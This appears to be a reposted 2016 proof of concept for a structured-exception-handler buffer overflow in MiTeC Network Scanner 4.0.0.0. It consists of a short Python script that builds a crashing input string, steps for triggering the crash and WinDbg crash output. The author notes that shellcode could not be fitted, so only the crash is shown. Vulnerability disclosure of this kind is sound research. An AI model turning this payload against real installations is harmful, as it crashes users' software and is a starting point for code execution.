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Network Scanner Version 4.0.0.0 - SEH Crash POC
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来源：http://binsect00.tistory.com 作者：INSECT.B 发布时间：2016-02-16
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#-*- coding: utf-8 -*-
#
# Exploit Title: Network Scanner Version 4.0.0.0 SEH Crash POC
# POC Dork: N/A
# Date: 2016-02-15
# Author: INSECT.B
# Twitter : @INSECT.B
# Facebook : https://www.facebook.com/B.INSECT00
# Blog : http://binsect00.tistory.com
# Vendor Homepage: http://www.mitec.cz/
# Software Link: http://www.mitec.cz/Downloads/NetScan.zip
# Version: 4.0.0.0
# Tested on: Windows7 Professional SP1 En x86
# CVE : N/A
'''
[+] Type : SEH
[-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field
[-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÌÌÌÌBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
[-] crash info
(2d0.878): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000
eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
42424242 ?? ???
0:000> !exchain
0012edec: ntdll!ExecuteHandler2+3a (772571cd)
0012f534: 42424242
Invalid exception stack at cccccccc
0:000> d 12f534
0012f534 cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43 ....BBBBCCCCCCCC
0012f544 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f554 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f564 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f574 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f584 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f594 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5a4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0:000> d
0012f5b4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5c4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5d4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012f5e4 43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00 CCC...1t........
0012f5f4 0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00 ......$.........
0012f604 ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00 ....4......w..$.
0012f614 15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00 ................
0012f624 cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00 ................
'''
import struct
junk1 = "A" * 76
nSEH = "\xcc\xcc\xcc\xcc"
SEH = "BBBB"
shell = "C" * 300
payload = junk1 + nSEH + SEH + shell
with open("netEx.txt","wb") as f :
f.write(payload)
print payload
"""
Exploit problem
1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.
2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)
3. payload was consisted of 'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
Can't insert shellcode
"""
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